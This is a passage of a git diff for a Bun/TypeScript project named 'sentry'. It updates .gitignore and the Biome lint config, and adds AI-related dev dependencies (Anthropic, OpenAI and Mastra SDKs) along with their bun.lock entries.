diff --git a/.gitignore b/.gitignore index c989b7ab..60cff34f 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,6 @@ # dependencies (bun install) node_modules +package-lock.json # output out @@ -36,6 +37,7 @@ report.[0-9]_.[0-9]_.[0-9]_.[0-9]_.json .cache *.tsbuildinfo .turbo +.mastra # docs docs/dist diff --git a/biome.jsonc b/biome.jsonc index 7f55cf5a..b038c0fe 100644 --- a/biome.jsonc +++ b/biome.jsonc @@ -2,7 +2,7 @@ "$schema": "./node_modules/@biomejs/biome/configuration_schema.json", "extends": ["ultracite/core"], "files": { - "includes": ["!docs"] + "includes": ["!docs", "!test/init-eval/templates"] }, "javascript": { "globals": ["Bun"] diff --git a/bun.lock b/bun.lock index 18eaaff0..5a82556d 100644 --- a/bun.lock +++ b/bun.lock @@ -5,7 +5,10 @@ "": { "name": "sentry", "devDependencies": { + "@anthropic-ai/sdk": "^0.39.0", "@biomejs/biome": "2.3.8", + "@clack/prompts": "^0.11.0", + "@mastra/client-js": "^1.4.0", "@sentry/api": "^0.21.0", "@sentry/bun": "10.39.0", "@sentry/esbuild-plugin": "^2.23.0", @@ -24,6 +27,7 @@ "fast-check": "^4.5.3", "ignore": "^7.0.5", "marked": "^15", + "openai": "^6.22.0", "p-limit": "^7.2.0", "pretty-ms": "^9.3.0", "qrcode-terminal": "^0.12.0", @@ -42,6 +46,24 @@ "@stricli/core@1.2.5": "patches/@stricli%2Fcore@1.2.5.patch", }, "packages": { + "@a2a-js/sdk": ["@a2a-js/sdk@0.2.5", "", { "dependencies": { "@types/cors": "^2.8.17", "@types/express": "^4.17.23", "body-parser": "^2.2.0", "cors": "^2.8.5", "express": "^4.21.2", "uuid": "^11.1.0" } }, "sha512-VTDuRS5V0ATbJ/LkaQlisMnTAeYKXAK6scMguVBstf+KIBQ7HIuKhiXLv+G/hvejkV+THoXzoNifInAkU81P1g=="], + + "@ai-sdk/provider": ["@ai-sdk/provider@2.0.1", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-KCUwswvsC5VsW2PWFqF8eJgSCu5Ysj7m1TxiHTVA6g7k360bk0RNQENT8KTMAYEs+8fWPD3Uu4dEmzGHc+jGng=="], + + "@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@2.2.8", "", { "dependencies": { "@ai-sdk/provider": "1.1.3", "nanoid": "^3.3.8", "secure-json-parse": "^2.7.0" }, "peerDependencies": { "zod": "^3.23.8" } }, "sha512-fqhG+4sCVv8x7nFzYnFo19ryhAa3w096Kmc3hWxMQfW/TubPOmt3A6tYZhl4mUfQWWQMsuSkLrtjlWuXBVSGQA=="], + + "@ai-sdk/provider-utils-v5": ["@ai-sdk/provider-utils@3.0.20", "", { "dependencies": { "@ai-sdk/provider": "2.0.1", "@standard-schema/spec": "^1.0.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-iXHVe0apM2zUEzauqJwqmpC37A5rihrStAih5Ks+JE32iTe4LZ58y17UGBjpQQTCRw9YxMeo2UFLxLpBluyvLQ=="], + + "@ai-sdk/provider-utils-v6": ["@ai-sdk/provider-utils@4.0.0", "", { "dependencies": { "@ai-sdk/provider": "3.0.0", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-HyCyOls9I3a3e38+gtvOJOEjuw9KRcvbBnCL5GBuSmJvS9Jh9v3fz7pRC6ha1EUo/ZH1zwvLWYXBMtic8MTguA=="], + + "@ai-sdk/provider-v5": ["@ai-sdk/provider@2.0.0", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-6o7Y2SeO9vFKB8lArHXehNuusnpddKPk7xqL7T2/b+OvXMRIXUO1rR4wcv1hAFUAT9avGZshty3Wlua/XA7TvA=="], + + "@ai-sdk/provider-v6": ["@ai-sdk/provider@3.0.0", "", { "dependencies": { "json-schema": "^0.4.0" } }, "sha512-m9ka3ptkPQbaHHZHqDXDF9C9B5/Mav0KTdky1k2HZ3/nrW2t1AgObxIVPyGDWQNS9FXT/FS6PIoSjpcP/No8rQ=="], + + "@ai-sdk/ui-utils-v5": ["@ai-sdk/ui-utils@1.2.11", "", { "dependencies": { "@ai-sdk/provider": "1.1.3", "@ai-sdk/provider-utils": "2.2.8", "zod-to-json-schema": "^3.24.1" }, "peerDependencies": { "zod": "^3.23.8" } }, "sha512-3zcwCc8ezzFlwp3ZD15wAPjf2Au4s3vAbKsXQVyhxODHcmu0iyPO2Eua6D/vicq/AUm/BAo60r97O6HU+EI0+w=="], + + "@anthropic-ai/sdk": ["@anthropic-ai/sdk@0.39.0", "", { "dependencies": { "@types/node": "^18.11.18", "@types/node-fetch": "^2.6.4", "abort-controller": "^3.0.0", "agentkeepalive": "^4.2.1", "form-data-encoder": "1.7.2", "formdata-node": "^4.3.2", "node-fetch": "^2.6.7" } }, "sha512-eMyDIPRZbt1CCLErRCi3exlAvNkBtRe+kW5vvJyef93PmNr/clstYgHhtvmkxN82nlKgzyGPCyGxrm0JQ1ZIdg=="], + "@apm-js-collab/code-transformer": ["@apm-js-collab/code-transformer@0.8.2", "", {}, "sha512-YRjJjNq5KFSjDUoqu5pFUWrrsvGOxl6c3bu+uMFc9HNNptZ2rNU/TI2nLw4jnhQNtka972Ee2m3uqbvDQtPeCA=="], "@apm-js-collab/tracing-hooks": ["@apm-js-collab/tracing-hooks@0.3.1", "", { "dependencies": { "@apm-js-collab/code-transformer": "^0.8.0", "debug": "^4.4.1", "module-details-from-path": "^1.0.4" } }, "sha512-Vu1CbmPURlN5fTboVuKMoJjbO5qcq9fA5YXpskx3dXe/zTBvjODFoerw+69rVBlRLrJpwPqSDqEuJDEKIrTldw=="], @@ -152,10 +174,14 @@ "@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.12", "", { "os": "win32", "cpu": "x64" }, "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA=="], + "@hono/node-server": ["@hono/node-server@1.19.9", "", { "peerDependencies": { "hono": "^4" } }, "sha512-vHL6w3ecZsky+8P5MD+eFfaGTyCeOHUIFYMGpQGbrBTSmNNoxv0if69rEZ5giu36weC5saFuznL411gRX7bJDw=="], + "@isaacs/balanced-match": ["@isaacs/balanced-match@4.0.1", "", {}, "sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ=="], "@isaacs/brace-expansion": ["@isaacs/brace-expansion@5.0.0", "", { "dependencies": { "@isaacs/balanced-match": "^4.0.1" } }, "sha512-ZT55BDLV0yv0RBm2czMiZ+SqCGO7AvmOM3G/w2xhVPH+te0aKgFjmBvGlL1dH+ql2tgGO3MVrbb3jCKyvpgnxA=="], + "@isaacs/ttlcache": ["@isaacs/ttlcache@2.1.4", "", {}, "sha512-7kMz0BJpMvgAMkyglums7B2vtrn5g0a0am77JY0GjkZZNetOBCFn7AG7gKCwT0QPiXyxW7YIQSgtARknUEOcxQ=="], + "@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="], "@jridgewell/remapping": ["@jridgewell/remapping@2.3.5", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.5", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ=="], @@ -166,6 +192,18 @@ "@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="], + "@lukeed/csprng": ["@lukeed/csprng@1.1.0", "", {}, "sha512-Z7C/xXCiGWsg0KuKsHTKJxbWhpI3Vs5GwLfOean7MGyVFGqdRgBbAjOCh6u4bbjPc/8MJ2pZmK/0DLdCbivLDA=="], + + "@lukeed/uuid": ["@lukeed/uuid@2.0.1", "", { "dependencies": { "@lukeed/csprng": "^1.1.0" } }, "sha512-qC72D4+CDdjGqJvkFMMEAtancHUQ7/d/tAiHf64z8MopFDmcrtbcJuerDtFceuAfQJ2pDSfCKCtbqoGBNnwg0w=="], + + "@mastra/client-js": ["@mastra/client-js@1.7.1", "", { "dependencies": { "@lukeed/uuid": "^2.0.1", "@mastra/core": "1.8.0", "@mastra/schema-compat": "1.1.3", "json-schema": "^0.4.0" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-+MIIjhNr61WKWcEZgdNzBhYdNSVOQMRTXYO749kNXAuwPN8yeh4ESHesOPHPOs+3o8wFB8Cg82bz5Gl2FZyvJg=="], + + "@mastra/core": ["@mastra/core@1.8.0", "", { "dependencies": { "@a2a-js/sdk": "~0.2.4", "@ai-sdk/provider-utils-v5": "npm:@ai-sdk/provider-utils@3.0.20", "@ai-sdk/provider-utils-v6": "npm:@ai-sdk/provider-utils@4.0.0", "@ai-sdk/provider-v5": "npm:@ai-sdk/provider@2.0.0", "@ai-sdk/provider-v6": "npm:@ai-sdk/provider@3.0.0", "@ai-sdk/ui-utils-v5": "npm:@ai-sdk/ui-utils@1.2.11", "@isaacs/ttlcache": "^2.1.4", "@lukeed/uuid": "^2.0.1", "@mastra/schema-compat": "1.1.3", "@modelcontextprotocol/sdk": "^1.17.5", "@sindresorhus/slugify": "^2.2.1", "dotenv": "^17.2.3", "gray-matter": "^4.0.3", "hono": "^4.11.9", "hono-openapi": "^1.1.1", "js-tiktoken": "^1.0.21", "json-schema": "^0.4.0", "lru-cache": "^11.2.6", "p-map": "^7.0.3", "p-retry": "^7.1.0", "picomatch": "^4.0.3", "radash": "^12.1.1", "xxhash-wasm": "^1.1.0" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-AK6Isj21mWlwX1zIZNUxgAQvRfjJmdjsPsKoh1cOvaM+h748S4U48TJ5DsmundSj/8NBeKHmYXqH2RYqwN35nw=="], + + "@mastra/schema-compat": ["@mastra/schema-compat@1.1.3", "", { "dependencies": { "json-schema-to-zod": "^2.7.0", "zod-from-json-schema": "^0.5.0", "zod-from-json-schema-v3": "npm:zod-from-json-schema@^0.0.5", "zod-to-json-schema": "^3.24.6" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-szLMJhqfnEn4VctFLKRZ2NIpfg+3UTghQWgy8Fcdchj2HvHxB2uilJxRybM9ugMmvyE+W48tVdz4Xi2Z1P3pFA=="], + + "@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.27.1", "", { "dependencies": { "@hono/node-server": "^1.19.9", "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.2.1", "express-rate-limit": "^8.2.1", "hono": "^4.11.4", "jose": "^6.1.3", "json-schema-typed": "^8.0.2", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.25 || ^4.0", "zod-to-json-schema": "^3.25.1" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" }, "optionalPeers": ["@cfworker/json-schema"] }, "sha512-sr6GbP+4edBwFndLbM60gf07z0FQ79gaExpnsjMGePXqFcSSb7t6iscpjk9DhFhwd+mTEQrzNafGP8/iGGFYaA=="], + "@opentelemetry/api": ["@opentelemetry/api@1.9.0", "", {}, "sha512-3giAOQvZiH5F9bMlMiv8+GSPMeqg0dbaeo58/0SlA9sxSqZhnUtxzX9/2FzyhS9sWQf5S0GJE0AKBrFqjpeYcg=="], "@opentelemetry/api-logs": ["@opentelemetry/api-logs@0.211.0", "", { "dependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-swFdZq8MCdmdR22jTVGQDhwqDzcI4M10nhjXkLr1EsIzXgZBqm4ZlmmcWsg3TSNf+3mzgOiqveXmBLZuDi2Lgg=="], @@ -266,36 +304,80 @@ "@sentry/opentelemetry": ["@sentry/opentelemetry@10.39.0", "", { "dependencies": { "@sentry/core": "10.39.0" }, "peerDependencies": { "@opentelemetry/api": "^1.9.0", "@opentelemetry/context-async-hooks": "^1.30.1 || ^2.1.0", "@opentelemetry/core": "^1.30.1 || ^2.1.0", "@opentelemetry/sdk-trace-base": "^1.30.1 || ^2.1.0", "@opentelemetry/semantic-conventions": "^1.39.0" } }, "sha512-eU8t/pyxjy7xYt6PNCVxT+8SJw5E3pnupdcUNN4ClqG4O5lX4QCDLtId48ki7i30VqrLtR7vmCHMSvqXXdvXPA=="], + "@sindresorhus/slugify": ["@sindresorhus/slugify@2.2.1", "", { "dependencies": { "@sindresorhus/transliterate": "^1.0.0", "escape-string-regexp": "^5.0.0" } }, "sha512-MkngSCRZ8JdSOCHRaYd+D01XhvU3Hjy6MGl06zhOk614hp9EOAp5gIkBeQg7wtmxpitU6eAL4kdiRMcJa2dlrw=="], + + "@sindresorhus/transliterate": ["@sindresorhus/transliterate@1.6.0", "", { "dependencies": { "escape-string-regexp": "^5.0.0" } }, "sha512-doH1gimEu3A46VX6aVxpHTeHrytJAG6HgdxntYnCFiIFHEM/ZGpG8KiZGBChchjQmG0XFIBL552kBTjVcMZXwQ=="], + + "@standard-community/standard-json": ["@standard-community/standard-json@0.3.5", "", { "peerDependencies": { "@standard-schema/spec": "^1.0.0", "@types/json-schema": "^7.0.15", "@valibot/to-json-schema": "^1.3.0", "arktype": "^2.1.20", "effect": "^3.16.8", "quansync": "^0.2.11", "sury": "^10.0.0", "typebox": "^1.0.17", "valibot": "^1.1.0", "zod": "^3.25.0 || ^4.0.0", "zod-to-json-schema": "^3.24.5" }, "optionalPeers": ["@valibot/to-json-schema", "arktype", "effect", "sury", "typebox", "valibot", "zod", "zod-to-json-schema"] }, "sha512-4+ZPorwDRt47i+O7RjyuaxHRK/37QY/LmgxlGrRrSTLYoFatEOzvqIc85GTlM18SFZ5E91C+v0o/M37wZPpUHA=="], + + "@standard-community/standard-openapi": ["@standard-community/standard-openapi@0.2.9", "", { "peerDependencies": { "@standard-community/standard-json": "^0.3.5", "@standard-schema/spec": "^1.0.0", "arktype": "^2.1.20", "effect": "^3.17.14", "openapi-types": "^12.1.3", "sury": "^10.0.0", "typebox": "^1.0.0", "valibot": "^1.1.0", "zod": "^3.25.0 || ^4.0.0", "zod-openapi": "^4" }, "optionalPeers": ["arktype", "effect", "sury", "typebox", "valibot", "zod", "zod-openapi"] }, "sha512-htj+yldvN1XncyZi4rehbf9kLbu8os2Ke/rfqoZHCMHuw34kiF3LP/yQPdA0tQ940y8nDq3Iou8R3wG+AGGyvg=="], + + "@standard-schema/spec": ["@standard-schema/spec@1.1.0", "", {}, "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w=="], + "@stricli/auto-complete": ["@stricli/auto-complete@1.2.5", "", { "dependencies": { "@stricli/core": "^1.2.5" }, "bin": { "auto-complete": "dist/bin/cli.js" } }, "sha512-C6G88Hh4lUWBwiqsxbcA4I1ricSQwiLaOziTWW3NmBoX7WGTW7i7RvyooXMpZk1YMLf2olv5Odxmg127ik1DKQ=="], "@stricli/core": ["@stricli/core@1.2.5", "", {}, "sha512-+afyztQW7fwWkqmU2WQZbdc3LjnZThWYdtE0l+hykZ1Rvy7YGxZSvsVCS/wZ/2BNv117pQ9TU1GZZRIcPnB4tw=="], "@trpc/server": ["@trpc/server@11.8.1", "", { "peerDependencies": { "typescript": ">=5.7.2" } }, "sha512-P4rzZRpEL7zDFgjxK65IdyH0e41FMFfTkQkuq0BA5tKcr7E6v9/v38DEklCpoDN6sPiB1Sigy/PUEzHENhswDA=="], + "@types/body-parser": ["@types/body-parser@1.19.6", "", { "dependencies": { "@types/connect": "*", "@types/node": "*" } }, "sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g=="], + "@types/bun": ["@types/bun@1.3.6", "", { "dependencies": { "bun-types": "1.3.6" } }, "sha512-uWCv6FO/8LcpREhenN1d1b6fcspAB+cefwD7uti8C8VffIv0Um08TKMn98FynpTiU38+y2dUO55T11NgDt8VAA=="], "@types/connect": ["@types/connect@3.4.38", "", { "dependencies": { "@types/node": "*" } }, "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug=="], + "@types/cors": ["@types/cors@2.8.19", "", { "dependencies": { "@types/node": "*" } }, "sha512-mFNylyeyqN93lfe/9CSxOGREz8cpzAhH+E93xJ4xWQf62V8sQ/24reV2nyzUWM6H6Xji+GGHpkbLe7pVoUEskg=="], + + "@types/express": ["@types/express@4.17.25", "", { "dependencies": { "@types/body-parser": "*", "@types/express-serve-static-core": "^4.17.33", "@types/qs": "*", "@types/serve-static": "^1" } }, "sha512-dVd04UKsfpINUnK0yBoYHDF3xu7xVH4BuDotC/xGuycx4CgbP48X/KF/586bcObxT0HENHXEU8Nqtu6NR+eKhw=="], + + "@types/express-serve-static-core": ["@types/express-serve-static-core@4.19.8", "", { "dependencies": { "@types/node": "*", "@types/qs": "*", "@types/range-parser": "*", "@types/send": "*" } }, "sha512-02S5fmqeoKzVZCHPZid4b8JH2eM5HzQLZWN2FohQEy/0eXTq8VXZfSN6Pcr3F6N9R/vNrj7cpgbhjie6m/1tCA=="], + + "@types/http-errors": ["@types/http-errors@2.0.5", "", {}, "sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg=="], + + "@types/json-schema": ["@types/json-schema@7.0.15", "", {}, "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA=="], + + "@types/mime": ["@types/mime@1.3.5", "", {}, "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w=="], + "@types/mysql": ["@types/mysql@2.15.27", "", { "dependencies": { "@types/node": "*" } }, "sha512-YfWiV16IY0OeBfBCk8+hXKmdTKrKlwKN1MNKAPBu5JYxLwBEZl7QzeEpGnlZb3VMGJrrGmB84gXiH+ofs/TezA=="], "@types/node": ["@types/node@22.19.7", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-MciR4AKGHWl7xwxkBa6xUGxQJ4VBOmPTF7sL+iGzuahOFaO0jHCsuEfS80pan1ef4gWId1oWOweIhrDEYLuaOw=="], + "@types/node-fetch": ["@types/node-fetch@2.6.13", "", { "dependencies": { "@types/node": "*", "form-data": "^4.0.4" } }, "sha512-QGpRVpzSaUs30JBSGPjOg4Uveu384erbHBoT1zeONvyCfwQxIkUshLAOqN/k9EjGviPRmWTTe6aH2qySWKTVSw=="], + "@types/pg": ["@types/pg@8.15.6", "", { "dependencies": { "@types/node": "*", "pg-protocol": "*", "pg-types": "^2.2.0" } }, "sha512-NoaMtzhxOrubeL/7UZuNTrejB4MPAJ0RpxZqXQf2qXuVlTPuG6Y8p4u9dKRaue4yjmC7ZhzVO2/Yyyn25znrPQ=="], "@types/pg-pool": ["@types/pg-pool@2.0.7", "", { "dependencies": { "@types/pg": "*" } }, "sha512-U4CwmGVQcbEuqpyju8/ptOKg6gEC+Tqsvj2xS9o1g71bUh8twxnC6ZL5rZKCsGN0iyH0CwgUyc9VR5owNQF9Ng=="], "@types/qrcode-terminal": ["@types/qrcode-terminal@0.12.2", "", {}, "sha512-v+RcIEJ+Uhd6ygSQ0u5YYY7ZM+la7GgPbs0V/7l/kFs2uO4S8BcIUEMoP7za4DNIqNnUD5npf0A/7kBhrCKG5Q=="], + "@types/qs": ["@types/qs@6.14.0", "", {}, "sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ=="], + + "@types/range-parser": ["@types/range-parser@1.2.7", "", {}, "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ=="], + "@types/semver": ["@types/semver@7.7.1", "", {}, "sha512-FmgJfu+MOcQ370SD0ev7EI8TlCAfKYU+B4m5T3yXc1CiRN94g/SZPtsCkk506aUDtlMnFZvasDwHHUcZUEaYuA=="], + "@types/send": ["@types/send@0.17.6", "", { "dependencies": { "@types/mime": "^1", "@types/node": "*" } }, "sha512-Uqt8rPBE8SY0RK8JB1EzVOIZ32uqy8HwdxCnoCOsYrvnswqmFZ/k+9Ikidlk/ImhsdvBsloHbAlewb2IEBV/Og=="], + + "@types/serve-static": ["@types/serve-static@1.15.10", "", { "dependencies": { "@types/http-errors": "*", "@types/node": "*", "@types/send": "<1" } }, "sha512-tRs1dB+g8Itk72rlSI2ZrW6vZg0YrLI81iQSTkMmOqnqCaNr/8Ek4VwWcN5vZgCYWbg/JJSGBlUaYGAOP73qBw=="], + "@types/tedious": ["@types/tedious@4.0.14", "", { "dependencies": { "@types/node": "*" } }, "sha512-KHPsfX/FoVbUGbyYvk1q9MMQHLPeRZhRJZdO45Q4YjvFkv4hMNghCWTvy7rdKessBsmtz4euWCWAB6/tVpI1Iw=="], + "abort-controller": ["abort-controller@3.0.0", "", { "dependencies": { "event-target-shim": "^5.0.0" } }, "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg=="], + + "accepts": ["accepts@1.3.8", "", { "dependencies": { "mime-types": "~2.1.34", "negotiator": "0.6.3" } }, "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw=="], + "acorn": ["acorn@8.15.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="], "acorn-import-attributes": ["acorn-import-attributes@1.9.5", "", { "peerDependencies": { "acorn": "^8" } }, "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ=="], "agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="], + "agentkeepalive": ["agentkeepalive@4.6.0", "", { "dependencies": { "humanize-ms": "^1.2.1" } }, "sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ=="], + + "ajv": ["ajv@8.18.0", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A=="], + + "ajv-formats": ["ajv-formats@3.0.1", "", { "dependencies": { "ajv": "^8.0.0" } }, "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ=="], + "ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], "ansi-styles": ["ansi-styles@6.2.3", "", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="], @@ -304,14 +386,24 @@ "anymatch": ["anymatch@3.1.3", "", { "dependencies": { "normalize-path": "^3.0.0", "picomatch": "^2.0.4" } }, "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw=="], + "argparse": ["argparse@1.0.10", "", { "dependencies": { "sprintf-js": "~1.0.2" } }, "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg=="], + + "array-flatten": ["array-flatten@1.1.1", "", {}, "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg=="], + + "asynckit": ["asynckit@0.4.0", "", {}, "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q=="], + "balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], + "base64-js": ["base64-js@1.5.1", "", {}, "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA=="], + "baseline-browser-mapping": ["baseline-browser-mapping@2.9.18", "", { "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "sha512-e23vBV1ZLfjb9apvfPk4rHVu2ry6RIr2Wfs+O324okSidrX7pTAnEJPCh/O5BtRlr7QtZI7ktOP3vsqr7Z5XoA=="], "binary-extensions": ["binary-extensions@2.3.0", "", {}, "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw=="], "binpunch": ["binpunch@1.0.0", "", { "bin": { "binpunch": "dist/cli.js" } }, "sha512-ghxdoerLN3WN64kteDJuL4d9dy7gbvcqoADNRWBk6aQ5FrYH1EmPmREAdcdIdTNAA3uW3V38Env5OqH2lj+i+g=="], + "body-parser": ["body-parser@2.2.2", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.3", "http-errors": "^2.0.0", "iconv-lite": "^0.7.0", "on-finished": "^2.4.1", "qs": "^6.14.1", "raw-body": "^3.0.1", "type-is": "^2.0.1" } }, "sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA=="], + "brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="], "braces": ["braces@3.0.3", "", { "dependencies": { "fill-range": "^7.1.1" } }, "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA=="], @@ -320,6 +412,12 @@ "bun-types": ["bun-types@1.3.6", "", { "dependencies": { "@types/node": "*" } }, "sha512-OlFwHcnNV99r//9v5IIOgQ9Uk37gZqrNMCcqEaExdkVq3Avwqok1bJFmvGMCkCE0FqzdY8VMOZpfpR3lwI+CsQ=="], + "bytes": ["bytes@3.1.2", "", {}, "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg=="], + + "call-bind-apply-helpers": ["call-bind-apply-helpers@1.0.2", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2" } }, "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ=="], + + "call-bound": ["call-bound@1.0.4", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "get-intrinsic": "^1.3.0" } }, "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg=="], + "caniuse-lite": ["caniuse-lite@1.0.30001766", "", {}, 